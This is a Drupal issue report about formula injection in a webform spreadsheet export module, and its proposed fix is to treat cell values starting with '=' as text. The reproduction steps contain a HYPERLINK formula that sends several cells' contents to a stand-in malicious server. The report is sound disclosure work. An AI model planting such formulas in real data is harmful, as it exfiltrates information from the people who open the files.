Contrib.social

Prevent formula processing by spreadsheet applications

Open on Drupal.org →
Created on 8 May 2023, over 1 year ago
Updated 10 May 2023, over 1 year ago

Problem/Motivation

Malicious user filling in a webform can put in a formula and trigger all sorts of bad things for a user opening generated with this module file.

See https://owasp.org/www-community/attacks/CSV_Injection for examples of bad things that can be done. That page talks about CSV , but simply starting any text field in a webform with equals sign will make office software opening the file to treat the value as a formula.

Steps to reproduce

  1. Install webform module and this module
  2. Open contact form (/form/contact)
  3. fill in Message field with =HYPERLINK("https://maliciousserver.example/?leak=&A2&B2&C2&D2&E2&F2&G2&H2&I2&J2", "click me")
  4. submit the form
  5. navigate to the results download page (/admin/structure/webform/manage/contact/results/download)
  6. select XLSX export format and click download button
  7. open exported file in any office software and observe X2 cell displaying click me value

Proposed resolution

Treat any cell value starting with equals sign as a simple string. This will result in a malicious formula being displayed to the use in the office software, rather than being processed as formula.

Remaining tasks

  • Patch
  • Review
  • Commit

User interface changes

None

API changes

None

Data model changes

None

🐛 Bug report
Status

Fixed

Version

1.0

Component

Code

Created by

🇳🇿New Zealand RoSk0 Wellington

Live updates comments and jobs are added and updated live.
Sign in to follow issues

Comments & Activities

contrib.social Blog FAQ Discussions
Production build 0.71.5 2024